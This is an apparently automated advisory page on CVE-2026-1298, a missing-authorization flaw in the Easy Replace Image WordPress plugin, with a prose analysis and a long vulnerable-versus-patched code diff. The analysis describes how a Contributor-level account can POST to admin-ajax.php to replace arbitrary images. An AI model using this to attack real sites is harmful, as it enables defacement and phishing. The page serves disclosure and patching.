Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-1298: Easy Replace Image <= 3.5.2 – Missing Authorization to Authenticated (Contributor+) Arbitrary Attachment Replacement (easy-replace-image)

CVE ID CVE-2026-1298
Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 3.5.2
Patched Version 3.5.3
Disclosed January 26, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1298:
This vulnerability is a missing authorization flaw in the Easy Replace Image WordPress plugin, affecting versions up to and including 3.5.2. The vulnerability allows authenticated attackers with Contributor-level permissions or higher to replace arbitrary image attachments on a site with images from external URLs. The CVSS score of 5.3 reflects a medium-severity issue with potential for site defacement, phishing, and content manipulation.

The root cause is the absence of a capability check in the `image_replacement_from_url` function. This function is hooked to the `wp_ajax_eri_from_url` AJAX action in the plugin’s main file, `easy-replace-image/easy-replace-image.php`. In the vulnerable version, the `init()` method (lines 75-102) registers the AJAX handler without any preceding authorization validation. The function `image_replacement_from_url` (lines 629-710) processes the `attachment_id` and `image_url` parameters from the request to fetch and replace an image. Atomic Edge research confirms the function performs no checks for user capabilities like `edit_post` or `upload_files` before executing its core logic.

Exploitation requires an attacker to have a valid WordPress account with at least Contributor privileges. The attack vector is a POST request to the standard WordPress AJAX endpoint, `/wp-admin/admin-ajax.php`. The attacker must supply two parameters: `action` set to `eri_from_url`, and a nonce parameter. The primary payload consists of `attachment_id` (the ID of the target image to replace) and `image_url` (the external URL of the new image). The plugin’s JavaScript localizes a nonce, but the vulnerability description indicates the missing authorization is the primary flaw, not a nonce bypass.

The patch in version 3.5.3 adds a mandatory capability check at the beginning of the `image_replacement_from_url` function. The diff shows the addition of a conditional statement that calls `self::security_check()` (line 632 in the patched code). This new method, `security_check()` (lines 624-628), verifies the current user has the `upload_files` capability and validates a nonce. If either check fails, the function terminates with a `wp_die()` call, preventing unauthorized execution. The patch also introduces a `return_fail_response()` method that can now accept an error message parameter, improving error handling.

Successful exploitation allows an attacker to overwrite any image attachment on the site. This can lead to immediate site defacement by replacing logos, banners, or product images. It facilitates phishing attacks by swapping legitimate images with malicious ones containing deceptive content. The vulnerability also enables persistent content manipulation, as replaced images may be referenced in posts and pages. While the vulnerability does not grant direct remote code execution or privilege escalation, it provides a significant vector for undermining site integrity and user trust.

Differential between vulnerable and patched code

Code Diff
--- a/easy-replace-image/easy-replace-image.php
+++ b/easy-replace-image/easy-replace-image.php
@@ -3,9 +3,9 @@
  * Plugin Name: Easy Replace Image
  * Plugin URI:  https://iuliacazan.ro/easy-replace-image/
  * Description: Replace the attachment file by uploading another image or by downloading one from a specified URL, without deleting the attachment. The replacement action handles the sub-sizes and the metadata updates, and you will see the result right away.
- * Text Domain: eri
+ * Text Domain: easy-replace-image
  * Domain Path: /langs
- * Version:     3.5.2
+ * Version:     3.5.3
  * Author:      Iulia Cazan
  * Author URI:  https://profiles.wordpress.org/iulia-cazan
  * Donate link: https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=JJA37EHZXWUTJ
@@ -13,7 +13,7 @@
  *
  * @package eri
  *
- * Copyright (C) 2017-2025 Iulia Cazan
+ * Copyright (C) 2017-2026 Iulia Cazan
  *
  * This program is free software; you can redistribute it and/or modify
  * it under the terms of the GNU General Public License, version 2, as
@@ -29,9 +29,15 @@
  * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
  */

-define( 'ERI_PLUGIN_VERSION', 3.52 );
-define( 'ERI_PLUGIN_DIR', plugin_dir_path( __FILE__ ) );
-define( 'ERI_PLUGIN_URL', plugin_dir_url( __FILE__ ) );
+declare( strict_types = 1 );
+
+namespace EasyReplaceImage;
+
+defined( 'ABSPATH' ) || exit;
+
+define( 'ERI_PLUGIN_VERSION', 3.53 );
+define( 'ERI_PLUGIN_DIR', plugin_dir_path( __FILE__ ) );
+define( 'ERI_PLUGIN_URL', plugin_dir_url( __FILE__ ) );
 define( 'ERI_PLUGIN_SLUG', 'eri' );

 /**
@@ -41,7 +47,7 @@
 	const PLUGIN_NAME        = 'Easy Replace Image';
 	const PLUGIN_SUPPORT_URL = 'https://wordpress.org/support/plugin/easy-replace-image/';
 	const PLUGIN_URL         = 'https://iuliacazan.ro/easy-replace-image/';
-	const PLUGIN_TRANSIENT   = 'srifu-plugin-notice';
+	const PLUGIN_TRANSIENT   = 'eri-plugin-notice';

 	/**
 	 * Class instance.
@@ -75,27 +81,29 @@
 	private function init() {
 		$obj = get_called_class();

-		add_action( 'after_setup_theme', [ $obj, 'load_textdomain' ], 20 );
-		add_action( 'init', [ $obj, 'block_init' ] );
-		add_action( 'wp_ajax_eri-element', [ $obj, 'element' ] );
-		add_action( 'add_meta_boxes', [ $obj, 'post_metabox' ] );
-		add_filter( 'media_row_actions', [ $obj, 'media_actions' ], 10, 2 );
-		add_action( 'wp_ajax_eri_from_upload', [ $obj, 'image_replacement_from_upload' ], 99 );
-		add_action( 'wp_ajax_eri_from_url', [ $obj, 'image_replacement_from_url' ], 99 );
-		add_filter( 'admin_post_thumbnail_html', [ $obj, 'image_replace_ajax_elements' ], 60, 3 );
-		add_action( 'admin_enqueue_scripts', [ $obj, 'load_assets' ] );
-		add_action( 'wp_enqueue_media', [ $obj, 'add_media_overrides' ] );
-		add_action( 'admin_notices', [ $obj, 'plugin_admin_notices' ] );
-		add_action( 'wp_ajax_plugin-deactivate-notice-eri', [ $obj, 'plugin_admin_notices_cleanup' ] );
-		add_action( 'plugins_loaded', [ $obj, 'plugin_ver_check' ] );
-		add_action( 'eri/replacements', [ $obj, 'replacement_task' ] );
-		if ( is_admin() ) {
-			add_filter( 'wp_get_attachment_image_src', [ $obj, 'wp_get_attachment_image_src' ], 10, 4 );
-			add_filter( 'wp_calculate_image_srcset', [ $obj, 'wp_calculate_image_srcset' ], 10, 5 );
-			add_action( 'admin_menu', [ $obj, 'admin_menu' ] );
-			add_filter( 'plugin_action_links_' . plugin_basename( __FILE__ ), [ $obj, 'plugin_action_links' ] );
-			add_action( 'admin_init', [ $obj, 'update_settings' ] );
+		add_action( 'init', [ $obj, 'block_init' ] );
+		add_action( 'wp_ajax_eri-element', [ $obj, 'element' ] );
+		add_action( 'add_meta_boxes', [ $obj, 'post_metabox' ] );
+		add_filter( 'media_row_actions', [ $obj, 'media_actions' ], 10, 2 );
+		add_action( 'wp_ajax_eri_from_upload', [ $obj, 'image_replacement_from_upload' ], 99 );
+		add_action( 'wp_ajax_eri_from_url', [ $obj, 'image_replacement_from_url' ], 99 );
+		add_filter( 'admin_post_thumbnail_html', [ $obj, 'image_replace_ajax_elements' ], 60, 3 );
+		add_action( 'admin_enqueue_scripts', [ $obj, 'load_assets' ] );
+		add_action( 'wp_enqueue_media', [ $obj, 'add_media_overrides' ] );
+		add_action( 'admin_notices', [ $obj, 'plugin_admin_notices' ] );
+		add_action( 'wp_ajax_plugin-deactivate-notice-eri', [ $obj, 'plugin_admin_notices_cleanup' ] );
+		add_action( 'plugins_loaded', [ $obj, 'plugin_ver_check' ] );
+		add_action( 'eri/replacements', [ $obj, 'replacement_task' ] );
+		if ( is_admin() ) {
+			add_filter( 'wp_get_attachment_image_src', [ $obj, 'wp_get_attachment_image_src' ], 10, 4 );
+			add_filter( 'wp_calculate_image_srcset', [ $obj, 'wp_calculate_image_srcset' ], 10, 5 );
+			add_action( 'admin_menu', [ $obj, 'admin_menu' ] );
+			add_filter( 'plugin_action_links_' . plugin_basename( __FILE__ ), [ $obj, 'plugin_action_links' ] );
+			add_action( 'admin_init', [ $obj, 'update_settings' ] );
 		}
+
+		register_activation_hook( __FILE__, [ $obj, 'activate_plugin' ] );
+		register_deactivation_hook( __FILE__, [ $obj, 'deactivate_plugin' ] );
 	}

 	/**
@@ -110,19 +118,12 @@
 	}

 	/**
-	 * Load text domain for internalization.
-	 */
-	public static function load_textdomain() {
-		load_plugin_textdomain( 'eri', false, basename( __DIR__ ) . '/langs' );
-	}
-
-	/**
 	 * Add the plugin menu.
 	 */
 	public static function post_metabox() {
-		add_meta_box(
+		add_meta_box(
 			'eri_meta',
-			__( 'Easy Replace Image', 'eri' ),
+			__( 'Easy Replace Image', 'easy-replace-image' ),
 			[ get_called_class(), 'eri_metabox_content' ],
 			'attachment',
 			'side',
@@ -143,12 +144,14 @@
 			return $actions;
 		}

-		if ( 'attachment' !== $post->post_type || ! substr_count( $post->post_mime_type, 'image/' ) || substr_count( $post->post_mime_type, 'image/svg' ) ) {
+		if ( 'attachment' !== $post->post_type
+			|| ! substr_count( $post->post_mime_type, 'image/' )
+			|| substr_count( $post->post_mime_type, 'image/svg' ) ) {
 			// Fail-fast, not a media file that can be replaced.
 			return $actions;
 		}

-		$actions['eri-action'] = '<a href="' . esc_url( admin_url( 'tools.php?page=easy-replace-image-settings&id=' . $post->ID ) ) . '"><div class="dashicons dashicons-format-gallery"></div> ' . esc_html__( 'Easy Replace Image', 'eri' ) . '</a>';
+		$actions['eri-action'] = '<a href="' . esc_url( admin_url( 'tools.php?page=easy-replace-image-settings&id=' . $post->ID ) ) . '"><div class="dashicons dashicons-format-gallery"></div> ' . esc_html__( 'Easy Replace Image', 'easy-replace-image' ) . '</a>';
 		return $actions;
 	}

@@ -178,7 +181,31 @@
 			return;
 		}

-		include_once __DIR__ . '/parts/block.php';
+		$dir  = ERI_PLUGIN_DIR . 'build/';
+		$url  = ERI_PLUGIN_URL . 'build/';
+		$deps = [
+			'dependencies' => [],
+			'version'      => time(),
+		];
+
+		if ( file_exists( $dir . 'index.asset.php' ) ) {
+			$deps = require_once $dir . 'index.asset.php';
+		}
+
+		if ( file_exists( $dir . 'block.js' ) && ! wp_script_is( ERI_PLUGIN_SLUG . '-block' ) ) {
+			wp_register_script( ERI_PLUGIN_SLUG . '-block', $url . 'block.js',
+				[
+					'wp-blocks',
+					'wp-editor',
+					'wp-i18n',
+					'wp-element',
+				],
+				$deps['version'],
+				true
+			);
+		}
+
+		register_block_type( 'eri/eri-block', [ 'editor_script' => ERI_PLUGIN_SLUG . '-block' ] );
 	}

 	/**
@@ -191,7 +218,42 @@
 			return;
 		}

-		include_once __DIR__ . '/parts/assets.php';
+		$dir  = ERI_PLUGIN_DIR . 'build/';
+		$url  = ERI_PLUGIN_URL . 'build/';
+		$deps = [
+			'dependencies' => [],
+			'version'      => time(),
+		];
+
+		if ( file_exists( $dir . 'index.asset.php' ) ) {
+			$deps = require $dir . 'index.asset.php';
+		}
+
+		if ( file_exists( $dir . 'index.js' ) && ! wp_script_is( ERI_PLUGIN_SLUG ) ) {
+			wp_register_script( ERI_PLUGIN_SLUG, $url . 'index.js', $deps['dependencies'], $deps['version'], true );
+			wp_localize_script( ERI_PLUGIN_SLUG, ERI_PLUGIN_SLUG . 'Settings', [
+				'ajaxUrl'       => admin_url( 'admin-ajax.php' ),
+				'nonce'         => wp_create_nonce( 'eri' ),
+				'defaultType'   => 'upload', // Maybe configure in a new version of the plugin.
+				'emptyUrl'      => esc_html__( 'You must specify an image URL.', 'easy-replace-image' ),
+				'failedFetch'   => esc_html__( 'The image could not be fetched.', 'easy-replace-image' ),
+				'emptyFile'     => esc_html__( 'You must select an image file.', 'easy-replace-image' ),
+				'failedUpload'  => esc_html__( 'The image could not be uploaded.', 'easy-replace-image' ),
+				'noFile'        => esc_html__( 'Select a file.', 'easy-replace-image' ),
+				'elementAction' => self::element(),
+			] );
+			wp_enqueue_script( ERI_PLUGIN_SLUG );
+		}
+
+		if ( file_exists( $dir . 'style-index.css' ) && ! wp_style_is( ERI_PLUGIN_SLUG ) ) {
+			wp_enqueue_style( ERI_PLUGIN_SLUG, $url . 'style-index.css', [], $deps['version'], false );
+			wp_add_inline_style( ERI_PLUGIN_SLUG, self::make_preset_colors_tokens() );
+		}
+
+		if ( ! empty( $the_screen ) && 'tools_page_easy-replace-image-settings' === $the_screen->base
+			&& file_exists( $dir . 'index.css' ) && ! wp_style_is( ERI_PLUGIN_SLUG . '-admin' ) ) {
+			wp_enqueue_style( ERI_PLUGIN_SLUG . '-admin', $url . 'index.css', [], $deps['version'], false );
+		}
 	}

 	/**
@@ -226,10 +288,10 @@
 	 * Add the new menu in general options section that allows to configure the plugin settings.
 	 */
 	public static function admin_menu() {
-		add_submenu_page(
+		add_submenu_page(
 			'tools.php',
-			__( 'Easy Replace Image', 'eri' ),
-			__( 'Easy Replace Image', 'eri' ),
+			__( 'Easy Replace Image', 'easy-replace-image' ),
+			__( 'Easy Replace Image', 'easy-replace-image' ),
 			'manage_options',
 			'easy-replace-image-settings',
 			[ get_called_class(), 'eri_settings' ]
@@ -291,15 +353,15 @@

 			if ( ! empty( $item ) ) {
 				$class        = ( $current === $item ) ? ' button-primary' : '';
-				$pagination[] = '<a href="' . get_pagenum_link( $item ) . '" class="page-numbers button' . $class . '">' . $item . '</a>';
+				$pagination[] = '<a href="' . get_pagenum_link( $item ) . '" class="page-numbers button' . $class . '">' . $item . '</a>';
 			} elseif ( '<' === $p ) {
 				$pagination[] = '<span class="dots">…</span>';

-				$first = '<a href="' . get_pagenum_link( ( $current - 1 ) ) . '" class="page-numbers button nav-prev">«</a>';
+				$first = '<a href="' . get_pagenum_link( ( $current - 1 ) ) . '" class="page-numbers button nav-prev">«</a>';
 			} else {
 				$pagination[] = '<span class="dots">…</span>';

-				$last = '<a href="' . get_pagenum_link( ( $current + 1 ) ) . '" class="page-numbers button nav-next">»</a>';
+				$last = '<a href="' . get_pagenum_link( ( $current + 1 ) ) . '" class="page-numbers button nav-next">»</a>';
 			}
 		}

@@ -311,7 +373,188 @@
 	 * The plugin settings and trigger for image replacement.
 	 */
 	public static function eri_settings() {
-		require_once ERI_PLUGIN_DIR . 'parts/settings.php';
+		$key      = filter_input( INPUT_GET, 'key', FILTER_DEFAULT );
+		$current  = max( 1, filter_input( INPUT_GET, 'paged', FILTER_VALIDATE_INT ) );
+		$id       = filter_input( INPUT_GET, 'id', FILTER_VALIDATE_INT ); // phpcs:ignore
+		$eri_cron = get_option( 'eri_cron' );
+		?>
+		<div class="wrap eri-feature">
+			<h1 class="plugin-title">
+				<span class="dashicons dashicons-format-gallery"></span>
+				<?php esc_html_e( 'Easy Replace Image', 'easy-replace-image' ); ?>
+			</h1>
+
+			<p>
+				<?php esc_html_e( 'Replace the attachment file by uploading another image or by downloading one from a specified URL, without deleting the attachment. The replacement action handles the sub-sizes and the metadata updates, and you will see the result right away.', 'easy-replace-image' ); ?>
+			</p>
+
+			<div class="structure">
+				<div class="element search">
+					<h3><?php esc_html_e( 'Attachment Search', 'easy-replace-image' ); ?></h3>
+					<p><?php esc_html_e( 'Search here for a specific image that you want to replace. The search will match the attachment ID, title, guid or image metadata.', 'easy-replace-image' ); ?></p>
+					<form id="eri-frm-search" method="get">
+						<input type="hidden" name="page" value="easy-replace-image-settings">
+						<input type="hidden" name="paged" id="eri-paged" value="<?php echo esc_attr( $current ); ?>">
+						<input type="hidden" name="id" id="eri-id" value="<?php echo esc_attr( $id ); ?>">
+						<input type="text" name="key" value="<?php echo esc_attr( $key ); ?>" class="first" onchange="eriResetImageItem()">
+						<button type="submit" class="button button-primary action"><span class="dashicons dashicons-search"></span> <?php esc_html_e( 'Search', 'easy-replace-image' ); ?></button>
+					</form>
+
+					<?php
+					if ( ! empty( $key ) ) {
+						global $wpdb;
+						$per_page = 5; // phpcs:ignore
+						$key      = trim( $key );
+
+						$query  = 'SELECT p.ID, p.post_title, p.guid FROM ' . $wpdb->prefix . 'posts AS p INNER JOIN ' . $wpdb->prefix . 'postmeta AS m ON ( m.post_id = p.ID AND p.post_type = %s )';
+						$args   = [];
+						$args[] = 'attachment';
+						$query .= ' WHERE ( p.post_title LIKE %s OR p.post_name LIKE %s OR p.ID = %d OR p.guid LIKE %s OR m.meta_value LIKE %s ) AND p.post_mime_type LIKE %s ';
+						$args[] = '%' . $wpdb->esc_like( $key ) . '%';
+						$args[] = '%' . $wpdb->esc_like( $key ) . '%';
+						$args[] = $key;
+						$args[] = '%' . $wpdb->esc_like( $key ) . '%';
+						$args[] = '%' . $wpdb->esc_like( $key ) . '%';
+						$args[] = '%' . $wpdb->esc_like( 'image/' ) . '%';
+						$total  = $wpdb->get_var( str_replace( 'p.ID, p.post_title, p.guid', 'count( distinct p.ID )', $wpdb->prepare( $query, $args ) ) ); // phpcs:ignore
+
+						$query .= ' GROUP BY p.ID ORDER BY p.ID DESC LIMIT %d,%d';
+						$args[] = ( $current - 1 ) * $per_page;
+						$args[] = $per_page;
+						$result = $wpdb->get_results( $wpdb->prepare( $query, $args ) ); // phpcs:ignore
+
+						?>
+						<h3 class="search-result-title">
+							<?php esc_html_e( 'Search results', 'easy-replace-image' ); ?>
+							<?php
+							echo wp_kses_post(
+								// Translators: %1$d - total items.
+								sprintf( __( '(total: %1$d)', 'easy-replace-image' ), $total )
+							);
+							?>
+						</h3>
+						<?php
+
+						if ( ! empty( $result ) ) {
+							?>
+							<p><?php esc_html_e( 'Click the item from the list below to select it for replacement.', 'easy-replace-image' ); ?></p>
+
+							<?php echo self::pagination( (int) $total, (int) $per_page ); // phpcs:ignore ?>
+
+							<ul class="search-result-wrap">
+								<?php foreach ( $result as $row ) : ?>
+									<?php $class = ( $id === (int) $row->ID ) ? ' is-selected' : ''; ?>
+									<li class="search-result<?php echo esc_attr( $class ); ?>"
+										id="eri-search-result-<?php echo (int) $row->ID; ?>"
+										data-id="<?php echo (int) $row->ID; ?>"
+										onclick="eriSelectImageItem( <?php echo (int) $row->ID; ?> );"
+										onkeypress="eriSelectImageItem( <?php echo (int) $row->ID; ?> );"
+										title="<?php esc_attr_e( 'Click to select the image', 'easy-replace-image' ); ?>"
+										tabindex="0">
+										<div>
+											<span class="image">
+												<?php echo wp_get_attachment_image ( $row->ID, 'thumbnail', true ); // phpcs:ignore ?>
+											</span>
+											<span class="info">
+												<?php echo esc_html( $row->post_title ); ?>
+											</span>
+										</div>
+									</li>
+								<?php endforeach; ?>
+							</ul>
+							<?php
+						} else {
+							esc_html_e( 'No image found.', 'easy-replace-image' );
+						}
+					} else {
+						?>
+						<h3 class="search-result-title"><?php esc_html_e( 'Search Results', 'easy-replace-image' ); ?></h3>
+						<div class="placeholder">
+							<?php esc_html_e( 'No search key applied.', 'easy-replace-image' ); ?>
+						</div>
+						<?php
+					}
+					?>
+				</div>
+				<div class="element swap">
+					<?php
+					if ( empty( $id ) ) {
+						?>
+						<div class="type-eri">
+							<h3><?php esc_html_e( 'Easy Replace Image', 'easy-replace-image' ); ?></h3>
+							<div class="placeholder">
+								<?php esc_html_e( 'No attachment selected.', 'easy-replace-image' ); ?>
+							</div>
+						</div>
+						<?php
+					} else {
+						$post = get_post( $id ); // phpcs:ignore
+						self::image_replace_ajax_elements_edit( $post );
+					}
+					?>
+				</div>
+				<div class="element selected <?php echo ! empty( $id ) ? 'with-image' : ''; ?>">
+					<h3><?php esc_html_e( 'Selected Image', 'easy-replace-image' ); ?></h3>
+					<?php
+					if ( empty( $id ) ) {
+						?>
+						<div class="placeholder">
+							<?php esc_html_e( 'No attachment selected.', 'easy-replace-image' ); ?>
+						</div>
+						<?php
+					} else {
+						$url = wp_get_attachment_url( $id );
+						?>
+						<div class="wp_attachment_image wp-clearfix media-selected" id="media-head-<?php echo (int) $id; ?>">
+							<p id="thumbnail-head-<?php echo (int) $id; ?>">
+								<img class="thumbnail" src="<?php echo esc_url( $url ); ?>?v=<?php echo (int) time(); ?>" style="max-width:100%; display: flex;" alt="">
+							</p>
+						</div>
+						<?php
+					}
+					?>
+				</div>
+				<div class="element subsizes">
+					<h3><?php esc_html_e( 'Image Details', 'easy-replace-image' ); ?></h3>
+					<?php
+					if ( empty( $id ) ) {
+						?>
+						<div class="placeholder">
+							<?php esc_html_e( 'No attachment selected.', 'easy-replace-image' ); ?>
+						</div>
+						<?php
+					} else {
+						$url = wp_get_attachment_url( $id );
+						?>
+						<div class="wp_attachment_image wp-clearfix" id="media-head-<?php echo (int) $id; ?>">
+							<div id="media-info-<?php echo (int) $id; ?>" class="media-info">
+								<a href="<?php echo esc_url( admin_url( 'post.php?post=' . $post->ID . '&action=edit' ) ); ?>" title="<?php esc_attr_e( 'Click to go to the attachment page', 'easy-replace-image' ); ?>"><?php esc_html_e( 'ID', 'easy-replace-image' ); ?> <?php echo (int) $post->ID; ?></a>
+								• <b><?php echo esc_html( $post->post_title ); ?></b>
+								• <span><?php echo esc_html( $url ); ?></span>
+							</div>
+							<div id="media-extra-info-<?php echo (int) $id; ?>" class="media-extra-info">
+								<?php echo wp_kses_post( self::make_extra_info( [], $id ) ); ?>
+							</div>
+						</div>
+						<?php
+					}
+					?>
+				</div>
+			</div>
+
+			<div class="element cron">
+				<h3><?php esc_html_e( 'Cron Tasks', 'easy-replace-image' ); ?></h3>
+				<p><?php esc_html_e( 'If you enable the cron tasks, the URLs of images you replace will be searched inside the content of posts stored in the database, and string replacement will be attempted for the found references.', 'easy-replace-image' ); ?></p>
+				<form id="eri-frm-cron" method="post">
+					<?php wp_nonce_field( 'eri_settings_save', 'eri_settings_nonce' ); ?>
+					<label><input type="checkbox" name="eri_cron"<?php checked( true, $eri_cron ); ?>> <?php esc_html_e( 'use replacement cron tasks', 'easy-replace-image' ); ?></label>
+					<?php submit_button(); ?>
+				</form>
+			</div>
+
+			<?php self::show_donate_text(); ?>
+		</div>
+		<?php
 	}

 	/**
@@ -337,7 +580,7 @@
 	 * @return array
 	 */
 	public static function get_initial_image_metadata( $initial_image_id ) { // phpcs:ignore
-		$metadata = maybe_unserialize( get_post_meta( $initial_image_id, '_wp_attachment_metadata', true ) );
+		$metadata = maybe_unserialize( get_post_meta( $initial_image_id, '_wp_attachment_metadata', true ) );
 		return $metadata;
 	}

@@ -356,14 +599,14 @@
 			$removable['original'] = $basedir . '/' . $metadata['file'];
 		}
 		if ( ! empty( $metadata['sizes'] ) ) {
-			$sizes = wp_list_pluck( $metadata['sizes'], 'file' );
+			$sizes = wp_list_pluck( $metadata['sizes'], 'file' );
 			foreach ( $sizes as $size => $file ) {
 				$removable[ $size ] = $basedir . '/' . $original_folder . '/' . $file;
 			}
 		}
 		if ( ! empty( $removable ) ) {
 			foreach ( $removable as $size => $file ) {
-				wp_delete_file( $file );
+				wp_delete_file( $file );
 			}
 		}
 	}
@@ -371,15 +614,17 @@
 	/**
 	 * Return the fail and default response.
 	 *
+	 * @param  string $message A custom message.
 	 * @return array
 	 */
-	public static function return_fail_response(): array {
+	public static function return_fail_response( $message = '' ): array {
 		return [
 			'url'      => '',
 			'new_info' => false,
 			'old_info' => false,
 			'changed'  => false,
 			'srcset'   => '',
+			'message'  => $message,
 		];
 	}

@@ -396,14 +641,14 @@
 			$new_file_content = '';

 			// Let's fetch the remote image.
-			$response = wp_safe_remote_get( $url );
-			$code     = wp_remote_retrieve_response_code( $response );
+			$response = wp_safe_remote_get( $url );
+			$code     = wp_remote_retrieve_response_code( $response );
 			if ( 200 === $code ) {
 				// Seems that we got a successful response from the remore URL.
-				$content_type = wp_remote_retrieve_header( $response, 'content-type' );
+				$content_type = wp_remote_retrieve_header( $response, 'content-type' );
 				if ( ! empty( $content_type ) && substr_count( $content_type, 'image/' ) ) {
 					// Seems that the content type is an image, let's get the body as the file content.
-					$new_file_content = wp_remote_retrieve_body( $response );
+					$new_file_content = wp_remote_retrieve_body( $response );
 				}
 			}

@@ -478,9 +723,9 @@
 	 */
 	public static function maybe_replace_image_from_file_content( $initial_image_id, $new_file_content ) { // phpcs:ignore
 		if ( ! empty( $initial_image_id ) && ! empty( $new_file_content ) ) {
-			$upload_dir = wp_upload_dir();
+			$upload_dir = wp_upload_dir();
 			$basedir    = $upload_dir['basedir'];
-			$file_meta  = get_post_meta( $initial_image_id, '_wp_attached_file', true );
+			$file_meta  = get_post_meta( $initial_image_id, '_wp_attached_file', true );
 			if ( empty( $file_meta ) ) {
 				// Fail-fast.
 				return self::return_fail_response();
@@ -494,7 +739,7 @@

 			$name   = basename( $file_meta );
 			$time   = dirname( $file_meta );
-			$upload = wp_upload_bits( $name, null, $new_file_content, $time );
+			$upload = wp_upload_bits( $name, null, $new_file_content, $time );
 			if ( empty( $upload['file'] ) ) {
 				// Fail-fast.
 				return self::return_fail_response();
@@ -511,11 +756,11 @@
 			}

 			// Delete initial cache for the metadata of this image.
-			delete_transient( 'wp_generating_att_' . $initial_image_id );
+			delete_transient( 'wp_generating_att_' . $initial_image_id );

 			// Get the initial image info.
 			$old_data = self::get_initial_image_metadata( $initial_image_id );
-			$new_data = wp_generate_attachment_metadata( $initial_image_id, $image_path );
+			$new_data = wp_generate_attachment_metadata( $initial_image_id, $image_path );

 			$new_data['width']     = ! empty( $new_data['width'] ) ? $new_data['width'] : 0;
 			$new_data['height']    = ! empty( $new_data['height'] ) ? $new_data['height'] : 0;
@@ -525,22 +770,22 @@
 			if ( ! empty( $new_data['file'] ) ) {
 				// This means that the metadata was generated for the new image.
 				// Allow to filter and maybe override the new metadata.
-				$new_data = apply_filters( 'sisanu_replace_image_before_update_attachment_info', $new_data, $old_data );
-				wp_update_attachment_metadata( $initial_image_id, $new_data );
+				$new_data = apply_filters( 'sisanu_replace_image_before_update_attachment_info', $new_data, $old_data );
+				wp_update_attachment_metadata( $initial_image_id, $new_data );
 			}

 			$artdata = [
 				'ID'             => (int) $initial_image_id,
-				'guid'           => wp_get_attachment_url( (int) $initial_image_id ),
+				'guid'           => wp_get_attachment_url( (int) $initial_image_id ),
 				'post_mime_type' => $file_info['mime'],
 			];

-			$artdata = apply_filters( 'sisanu_replace_image_before_update_attachment_post', $artdata );
-			wp_update_post( $artdata );
+			$artdata = apply_filters( 'sisanu_replace_image_before_update_attachment_post', $artdata );
+			wp_update_post( $artdata );

 			if ( function_exists( 'wp_update_image_subsizes' ) && ! class_exists( 'SIRSC' ) ) {
 				// Attempt to regenerate subsizes.
-				wp_update_image_subsizes( (int) $initial_image_id );
+				wp_update_image_subsizes( (int) $initial_image_id );
 			}

 			self::attempt_purge_cache( (int) $initial_image_id, $image_path, $new_data );
@@ -644,16 +889,16 @@
 	 */
 	public static function maybe_schedule_content_replacement( $id, $old_string, $new_string ) {
 		$rep = get_post_meta( $id, 'eri_replacements', true );
-		$rep = empty( $rep ) ? [] : maybe_unserialize( $rep );
+		$rep = empty( $rep ) ? [] : maybe_unserialize( $rep );

 		$rep[ $old_string ] = $new_string;
-		update_post_meta( $id, 'eri_replacements', maybe_serialize( $rep ) );
+		update_post_meta( $id, 'eri_replacements', maybe_serialize( $rep ) );

 		$cron = get_option( 'eri_cron' );
 		if ( ! empty( $cron ) ) {
 			// Schedule the hardcoded content replacement task for this post.
-			wp_clear_scheduled_hook( 'eri/replacements', [ $id ] );
-			wp_schedule_single_event( time() + 1 * MINUTE_IN_SECONDS, 'eri/replacements', [ $id ] );
+			wp_clear_scheduled_hook( 'eri/replacements', [ $id ] );
+			wp_schedule_single_event( time() + 1 * MINUTE_IN_SECONDS, 'eri/replacements', [ $id ] );
 		}

 		return count( $rep );
@@ -666,12 +911,12 @@
 	 */
 	public static function replacement_task( int $id = 0 ) {
 		if ( ! empty( $id ) ) {
-			$rep = get_post_meta( $id, 'eri_replacements', true );
+			$rep = get_post_meta( $id, 'eri_replacements', true );
 			if ( empty( $rep ) ) {
 				return;
 			}

-			$rep = maybe_unserialize( $rep );
+			$rep = maybe_unserialize( $rep );
 			if ( ! is_array( $rep ) ) {
 				return;
 			}
@@ -694,7 +939,7 @@
 				] );
 			}

-			delete_post_meta( $id, 'eri_replacements' );
+			delete_post_meta( $id, 'eri_replacements' );
 		}
 	}

@@ -706,13 +951,13 @@
 	 * @param array  $info Replacement info.
 	 */
 	public static function attempt_purge_cache( $id, $path, $info ) {
-		clean_post_cache( (int) $id );
-		clean_attachment_cache( (int) $id );
+		clean_post_cache( (int) $id );
+		clean_attachment_cache( (int) $id );

 		if ( empty( $path ) ) {
-			$meta = get_post_meta( $id, '_wp_attached_file', true );
+			$meta = get_post_meta( $id, '_wp_attached_file', true );
 			if ( ! empty( $meta ) ) {
-				$upload_dir = wp_upload_dir();
+				$upload_dir = wp_upload_dir();
 				$basedir    = $upload_dir['basedir'];
 				$path       = $basedir . '/' . $meta;
 			}
@@ -757,7 +1002,7 @@
 	 */
 	public static function make_extra_info( array $meta, int $id = 0, int $found = 0 ): string {
 		if ( empty( $meta ) ) {
-			$meta = wp_get_attachment_metadata( $id );
+			$meta = wp_get_attachment_metadata( $id );
 		}
 		if ( empty( $meta ) ) {
 			return '';
@@ -771,13 +1016,13 @@

 		if ( ! empty( $found ) ) {
 			// translators: %d - total replacements.
-			$extra .= ' • ' . sprintf( __( 'Total of references for replacement inside the posts' contents: %d (the number includes also the sub-sizes).', 'eri' ), $found );
+			$extra .= ' • ' . sprintf( __( 'Total of references for replacement inside the posts' contents: %d (the number includes also the sub-sizes).', 'easy-replace-image' ), (int) $found );
 		}

 		if ( ! empty( $meta['sizes'] ) ) {
 			$extra .= '<ul class="extra">';
 			foreach ( $meta['sizes'] as $size => $info ) {
-				$subsize = wp_get_attachment_image( $id, $size );
+				$subsize = wp_get_attachment_image( $id, $size );
 				if ( ! empty( $subsize ) ) {
 					$subsize = str_replace( $info['file'], $info['file'] . '?v' . time(), $subsize );
 					$extra  .= '<li><b>' . $size . '</b> ' . $subsize . '</li>';
@@ -797,13 +1042,13 @@
 	 */
 	public static function make_srcset( $new_data ) { // phpcs:ignore
 		$srcset     = '';
-		$upload_dir = wp_upload_dir();
-		$baseurl    = trailingslashit( $upload_dir['baseurl'] );
+		$upload_dir = wp_upload_dir();
+		$baseurl    = trailingslashit( $upload_dir['baseurl'] );
 		$folder     = ( ! empty( $new_data['file'] ) ) ? dirname( $new_data['file'] ) : '';
 		if ( ! empty( $new_data['sizes'] ) ) {
